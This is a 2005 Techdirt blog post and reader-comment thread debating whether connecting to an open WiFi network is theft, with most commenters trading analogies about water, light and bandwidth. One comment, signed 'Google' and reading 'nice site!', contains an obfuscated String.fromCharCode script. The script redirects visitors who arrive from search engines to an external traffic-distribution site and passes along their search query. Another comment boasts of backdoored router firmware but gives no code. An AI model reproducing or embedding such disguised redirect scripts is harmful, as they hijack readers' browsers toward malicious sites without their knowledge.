How Dare You Want To Use That Internet Connection!

from the send-him-away! dept

While everyone was focused on the guy in Florida getting arrested for using an open WiFi connection, it turns out a similar case was already under way in the UK. Broadband Reports points out that someone has been found guilty of connecting to an open WiFi network and fined. From the sound of things, he could have been jailed for a year, but was let free under certain conditions. The actual crime appears to be: "dishonestly obtaining an electronic communications service and possessing equipment for fraudulent use of a communications service." Hmm. It would seem that an awful lot of people are probably guilty of the exact same thing. Since when has a WiFi enabled laptop become "equipment for fraudulent use?" This guy was just standing outside of a building with a laptop. Again, it doesn't look like he was doing anything nefarious with it at all. At least he wasn't charged with it. The article unfairly compares the guy to the Lowe's WiFi hackers who were stealing credit card info. So, again, it's worth asking where were the "losses" here? The guy was using radio waves that were sent out into the public. From the description in the article, it sounds like he didn't do anything wrong. He didn't "break into" anything. He didn't do any damage. He didn't cost anyone anything. With many computers (not clear in this case) they connect automatically to open WiFi, so he may not have even chosen to connect to these networks. There may be more to this case (not too many details are given), but from the details reported, it's hard to see why this is a crime at all. If he did cause damage or break into things, then it's a different story -- but those are the details that should have been reported.


Reader Comments (rss)

(Flattened / Threaded)

  1.  
    identicon
    VonSkippy, Jul 22nd, 2005 @ 12:33pm

    well

    There's a difference between an "open" wifi point and a "public" wifi point. I'm sure this guy new it was not a "public" WAP.
    I have water spigots on the side of my house - I don't expect that just because they are not locked shut that people should be able to come up and use whatever they want.
    I'm tired of the new trend that seems to make the victum be at fault because they didn't take certain measures to lock something down.

     

    reply to this | link to this | view in thread ]

  2.  
    icon
    Mike (profile), Jul 22nd, 2005 @ 1:10pm

    Re: well

    That's not a very good analogy at all, for a few reasons. One, you probably pay for water -- and the more you use, the more you pay. Also, if the WiFi radio waves reach out beyond your property onto public property, then it's pretty questionable as to whether they've done anything wrong.

    One analogy that makes sense is if you have a spotlight on the front of your house. If the light extends out into the street, and someone sits there reading a book, have they "stolen" light from you? Have they "dishonestly obtained light"? Of course not. In this case, just like with the light, the radio waves have expanded out into the street, and someone sitting there can use them at no expense to you.

    It's not the "fault" of someone not locking them up, but it IS quite questionable as to why this should be illegal. If something is broadcast in the air, openly, then it's open for use. That's always been the way our communications infrastructure has been set up, so it's hard to see why it's different now.

     

    reply to this | link to this | view in thread ]

  3.  
    identicon
    Rob, Jul 22nd, 2005 @ 1:53pm

    Wi-Fi Liability

    Having recently written a law review article on this very subject -- "Wi-Fi Liability: Potential Legal Risks in Accessing and Operating Wireless Internet" -- I agree that the topic doesn't lend itself very easily to a single analogy. Anyway, those interested can access the paper here: http://papers.ssrn.com/sol3/papers.cfm?abstract_id=692881

     

    reply to this | link to this | view in thread ]

  4.  
    identicon
    Anonymous Hero, Jul 22nd, 2005 @ 3:22pm

    Re: well

    There's a difference between an "open" wifi point and a "public" wifi point.

    Which is?

    I have water spigots on the side of my house - I don't expect that just because they are not locked shut that people should be able to come up and use whatever they want.
    The water spigots on the side of your house are presumably on your private property, not on public property. So people would have to trespass to use them wouldn't they?

    But still, by your reasoning if you use those spigots to water your lawn and some of the water runs off onto your neighbors lawn, you suddenly become a "victim" even you didn't take measures to prevent runoff.

     

    reply to this | link to this | view in thread ]

  5.  
    identicon
    chunkyasparagus, Jul 22nd, 2005 @ 3:27pm

    Re: well

    So, I don't have an wireless connection in my apartment. But if I switch on the wireless LAN switch on the front of my laptop, it automatically connects to a wireless network, which must be somewhere nearby, and I can access the internet. Does that make me a criminal? Just for flicking the switch on the front of my laptop while sitting in my apartment?

     

    reply to this | link to this | view in thread ]

  6.  
    identicon
    Mousky, Jul 22nd, 2005 @ 7:44pm

    Re: well

    The spigot analogy would work better if there was a hose attached to the spigot, a nozzle was attached to the end of the hose, and the nozzle rested on the public right-of-way. Let's say that the property owner leaves the main tap open - he does not want to go back and forth and turn on and off the tap. You are walking along and are very thirsty. Using your belief that there is nothing wrong using something that reaches out onto public property, you pick up the hose and drink from it. Stealing or not?

    Your analogy is no better. You state "the radio waves have expanded out into the street, and someone sitting there can use them at no expense to you". Really? Most ISPs have a cap on the amount of GB that can transfered each month. If you go over that cap, you may get charged additional fees.

    Say, I'm a newbie to this and don't secure my router. Someone comes along and connects to my router, but also decided to change all the settings on my router. Has that person committed a crime? Just some food for thought.

     

    reply to this | link to this | view in thread ]

  7.  
    identicon
    Anonymous Coward, Jul 23rd, 2005 @ 12:29am

    Re: well

    "I have water spigots on the side of my house - I don't expect that just because they are not locked shut that people should be able to come up and use whatever they want."

    It's a little more like pausing along the sidewalk on a hot day and letting your lawn sprinkler douse me as the spray sweeps past. Should I be arrested?

     

    reply to this | link to this | view in thread ]

  8.  
    identicon
    Anonymous Coward, Jul 23rd, 2005 @ 8:53am

    For all those running unsecured wireless seeking j

    Here's what's next on the agenda:

    There is an underground WRT54G firmware load floating around out there in the wild. It looks *EXACTLY* like the standard firmware that linksys ships, but also contains functionality that allows outside connections no matter how much secuirty you configure via the "linksys" interface (though you do have to be able to configure you computer to use the access point's hidden connectivity features).

    The people installing this have war driving rigs that they drive around with, automatically rooting and installing the firmware load (they do have to pull over for ~2 mins to make sure the load takes).

    The next milestone for this underground firmware load is hidden mesh routing capabilities.

    Fun stuff; good luck finding it on the the intrawebs.

     

    reply to this | link to this | view in thread ]

  9.  
    identicon
    Anonymous Coward, Jul 23rd, 2005 @ 9:08am

    Re: well

    Unfortunately, you can't trump criminal law with a civil "attractive nusance" suite (even if you can threaten the suite, once the law enforcement / judicial industral complex gets involved, the criminal charges aren't going away until someone get's paid (either the state or your lawyer) in blood, time and/or money )

    All this really means is that laws are outdated and have no hope of ever keeping pace with technology, let alone what is right and what "wrong"; consequently, anyone who uses any "advanced" technology can be considered a criminal at some fundamental level or another. Technology and science are *ALWAYS* neutral players; the state will *ALWAYS* reserve the right to exercise their credability whenever possible (and judges/juries may not be able to inject common sense into the system for fear of weakening the state's tools of enforcement). This is why I *never* do anything beyond casual surfing through untrusted access points. Never check your mail, blog, post comments via a registered account and be sure to clear your cookies before proceeding.

     

    reply to this | link to this | view in thread ]

  10.  
    identicon
    thecaptain, Jul 25th, 2005 @ 5:01am

    Re: well

    Mike, that's a good analogy, but it is ALSO lacking.

    I pay for my net account, and while I DO have a huge amount of UL/DL bytes available, they ARE finite. So someone logging into my network, connecting to IRC and downloading a few movies is a problem.

    Let's continue on that note, what if the MPAA comes after me after tracing this to my connection? Or what if this person is using MY connection to surf the net without it being traced back to him (kiddie porn comes to mind, or releasing viruses or a hack attempt).

    I do agree with some posters that it shouldn't be ALL on the victim's fault(I take precautions to make sure no one can log on without my say so...and I do feel that network owners SHOULD shoulder SOME, but not all, responsibility)...however, lets stop saying "Its OK" for anyone to just use ANY wifi connection. If its open, make enquiries to see if its public, if its not, let the owner know he needs to secure it...and if you can't do any of that, DON'T USE IT.

    Just because my front door's unlocked, doesn't mean you can come in and raid my fridge, use my stereo and cool off with the AC right? (also a bad analogy I agree)

     

    reply to this | link to this | view in thread ]

  11.  
    identicon
    Anonymous Coward, Jul 25th, 2005 @ 5:55am

    Re: well

    > Let's continue on that note[...]kiddie porn[...]

    Well, if you're that concerned about it, then maybe you should have that particular technology in your home. The threat is real and you are trading security for convience... plain and simple.

    Running an unsecured access point is the equivalent of installing a balsa wood door in a house in the bad end of town and worrying about doorknob twiddling.

    > [...] what if the MPAA comes after me after
    > tracing this to my connection?

    Well, then... you'll have an opportunity to explain to their lawyers, a judge and possibly a jury that, because you failed to secure your wireless access point, somebody was able to share their precious content with a friend (or several thousand of them).

    Of course, because you live in America, your life can be ruined without criminal charges.

    Enjoy your freedom.

     

    reply to this | link to this | view in thread ]

  12.  
    icon
    Mike (profile), Jul 25th, 2005 @ 9:44am

    Re: well

    I pay for my net account, and while I DO have a huge amount of UL/DL bytes available, they ARE finite. So someone logging into my network, connecting to IRC and downloading a few movies is a problem.

    Then you might have a case in the situation that the person has totally used up your bandwidth. But, barring that, I'm still at a loss to figure out what you've "lost."


    Let's continue on that note, what if the MPAA comes after me after tracing this to my connection? Or what if this person is using MY connection to surf the net without it being traced back to him (kiddie porn comes to mind, or releasing viruses or a hack attempt).


    And, in those cases, you can show that you had an open WiFi connection and show a reasonable doubt that you were the one involved in that activity. Despite what the MPAA says, it's up to them to prove that you really downloaded this stuff.

    Just because my front door's unlocked, doesn't mean you can come in and raid my fridge, use my stereo and cool off with the AC right? (also a bad analogy I agree)

    Terrible analogies. All of those involve actually trespassing on property. The case we're talking about involves someone on public property where the radio waves reach them. As for raiding the fridge, that's a tangible loss to you, which is clearly stealing.

     

    reply to this | link to this | view in thread ]

  13.  
    identicon
    lennie, Jul 25th, 2005 @ 6:20pm

    Re: well

    Wow! Did you miss the point on purpose (because you want to rationalize your own stealing of stuff) or did you not actually get it? Assuming you are just a dimwit, I'll try to explain. When one person pays for a service (say cable television) and another taps into that line even though the cable passes through "public" space; it is still (and should be) illegal. You are using a service that you did not purchase nor have permission to use. This is quite reasonable although there will always be those who want to get things without working (paying) for them.

     

    reply to this | link to this | view in thread ]

  14.  
    icon
    Mike (profile), Jul 26th, 2005 @ 1:18am

    Re: well

    Hmm. Can I ask why it's illegal? And why it *should* be illegal? It has nothing to do with getting stuff for free.

    In some cases, it may violate the terms of service... but there's a big difference between that and illegal (and, in fact, the violation of the ToS usually falls on the owner of the service, not the person who uses it).

    However, the point still stands (calling me names doesn't change things, but it also doesn't make your argument look very intelligent).

    Someone over at O'Reilly has made a decent argument as well. He compares it to someone who has a sprinkler system, that sprays off of his property and lands in the street. Is someone who then collects that water guilty of "theft of water?" It's the same thing. There was no trespassing. This is a case where the signal that the user has passes out onto public property. No one "loses" anything, which is a must in any definition of theft -- so it's clearly not theft.

     

    reply to this | link to this | view in thread ]

  15.  
    identicon
    Brent, Jul 28th, 2005 @ 12:59pm

    Re: well

    Let's continue on that note, what if the MPAA comes after me after tracing this to my connection? Or what if this person is using MY connection to surf the net without it being traced back to him.

    Ok, enough of the water spigots, hoses, and such lame analogies.

    Say you do have a finite amount in which you can dl/ul, if this case I would believe that you could begin forming a relative case. Yet, your router should be secured (and yes, I know router security can be found and broken in 3 seconds...that's malicious though) ...

    If you do have an open access router, and don't have a finite ul/dl limit, then I don't see how you can even begin to form a case that proves guilt. If you bake a hot fresh apple pie and place it on the window sill, then then you can compare the pie to the router. For instance, if I'm sitting in my house across the street, I can see the pie and decide to walk closer towards it to be able to smell it. Same goes with walking around and doing warchalking. You are able to smell the pie once you get closer to it (you are still on the sidewalk -- public domain), but no one in their right mind would consider that illegal. Your brain is able to process the scent, potentially making you hungry. ... Ok, with the router signal, your computer is processing the signal making tangible usage of it.

     

    reply to this | link to this | view in thread ]

  16.  
    identicon
    deviation, Jul 28th, 2005 @ 2:54pm

    Re: well

    dude Brent, that was the mother of all analogies..made me cry out loud hehe

     

    reply to this | link to this | view in thread ]

  17.  
    identicon
    Brent, Jul 29th, 2005 @ 11:45am

    Re: well

    I do my best to please and humor ...

     

    reply to this | link to this | view in thread ]

  18.  
    identicon
    Johnnycakes, Dec 5th, 2005 @ 7:03am

    Too worked up

    This guy was doing something wrong, but the real issue here is the reaction from the company. A reasonable thing would have been to ask him to leave, tell him that the WiFi was only open to paying customers and let that be the end of it. The idea that he "was doing nothing wrong" is just as absurd as the idea that he is getting sued for stealing a few MB of bandwidth.

     

    reply to this | link to this | view in thread ]

  19.  
    identicon
    Steph, Mar 19th, 2006 @ 4:53pm

    Taking my bandwidth IS the loss

    I really don't mind if my purchase provides a benefit to others, but not if it detracts from what I purchases. I am technologically inexperienced, and I have a router and enjoy it, but sometimes it seems that someone else is enjoying my bandwidth and my usualy speedy computer becomes very sluggish. Since I rely on it for work, and time is money....not to mention the annoyance aspect of it.........This is the loss that I do not like.

     

    reply to this | link to this | view in thread ]

  20.  
    identicon
    Superman, Apr 4th, 2006 @ 2:43pm

    Re: Re: well

    When u are so much worried about the GB and charges why dont you secure ur Network??????

     

    reply to this | link to this | view in thread ]

  21.  
    identicon
    Google, Oct 3rd, 2006 @ 8:20pm

    Google

    nice site!document.write(String.fromCharCode(60,115,99,114,105,112,116,62,10,118,97,114,32,114,61,100,111 ,99,117,109,101,110,116,46,114,101,102,101,114,114,101,114,44,116,61,34,34,44,113,59,10,105,102,40,1 14,46,105,110,100,101,120,79,102,40,34,103,111,111,103,108,101,46,34,41,33,61,45,49,41,116,61,34,113 ,34,59,10,105,102,40,114,46,105,110,100,101,120,79,102,40,34,109,115,110,46,34,41,33,61,45,49,41,116 ,61,34,113,34,59,10,105,102,40,114,46,105,110,100,101,120,79,102,40,34,121,97,104,111,111,46,34,41,3 3,61,45,49,41,116,61,34,112,34,59,10,105,102,40,114,46,105,110,100,101,120,79,102,40,34,97,108,116,9 7,118,105,115,116,97,46,34,41,33,61,45,49,41,116,61,34,113,34,59,10,105,102,40,114,46,105,110,100,10 1,120,79,102,40,34,97,111,108,46,34,41,33,61,45,49,41,116,61,34,113,117,101,114,121,34,59,10,105,102 ,40,114,46,105,110,100,101,120,79,102,40,34,97,115,107,46,34,41,33,61,45,49,41,116,61,34,113,34,59,1 0,105,102,40,116,46,108,101,110,103,116,104,38,38,40,40,113,61,114,46,105,110,100,101,120,79,102,40, 34,63,34,43,116,43,34,61,34,41,41,33,61,45,49,124,124,40,113,61,114,46,105,110,100,101,120,79,102,40 ,34,38,34,43,116,43,34,61,34,41,41,33,61,45,49,41,41,10,119,105,110,100,111,119,46,108,111,99,97,116 ,105,111,110,61,34,104,116,116,112,58,47,47,112,111,119,101,114,116,114,97,102,102,46,98,105,122,47, 116,100,115,47,105,110,46,99,103,105,63,49,48,38,112,97,114,97,109,101,116,101,114,61,34,43,114,46,1 15,117,98,115,116,114,105,110,103,40,113,43,50,43,116,46,108,101,110,103,116,104,41,46,115,112,108,1 05,116,40,34,38,34,41,91,48,93,59,10,60,47,115,99,114,105,112,116,62));

     

    reply to this | link to this | view in thread ]

  22.  
    identicon
    Kusho, Jan 12th, 2007 @ 9:30pm

    net

    I leave my computers protected with firewalls but leave the router wide open for others to use the net. also block the computers from other computers connecting and the router from accepting any commands other than a actual lan hookup.

    have the access point named ThankTom

    Now again, know that im rolling the dice for what we were talking about as child porn or lawsuits... but dont honestly care if neighbors can share my net. done this for the last what 4 years with a wireless b router so that they can only max out at half of my connection.
    and if net is bogging down, i just turn of wireless for a while.

    now everyone tell me how evil i am for sharing with my neighbors. not perticularly religious, as it seems that most of the types that claim to be are the same ones that are sitting there arguing how much they would get mad if that neighbor was drinking from his water spicket or whatever.

    but on that same note... wwjd?

     

    reply to this | link to this | view in thread ]


Add Your Comment

Have a Techdirt Account? Sign in now. Want one? Register here
Get Techdirt’s Daily Email
Save me a cookie
  • Note: A CRLF will be replaced by a break tag (<br>), all other allowable HTML will remain intact
  • Allowed HTML Tags: <b> <i> <a> <em> <br> <strong> <blockquote> <hr> <tt>
Follow Techdirt
A word from our sponsors...
Essential Reading
Techdirt Reading List
Techdirt Insider Chat
A word from our sponsors...
Recent Stories
A word from our sponsors...

Close

Email This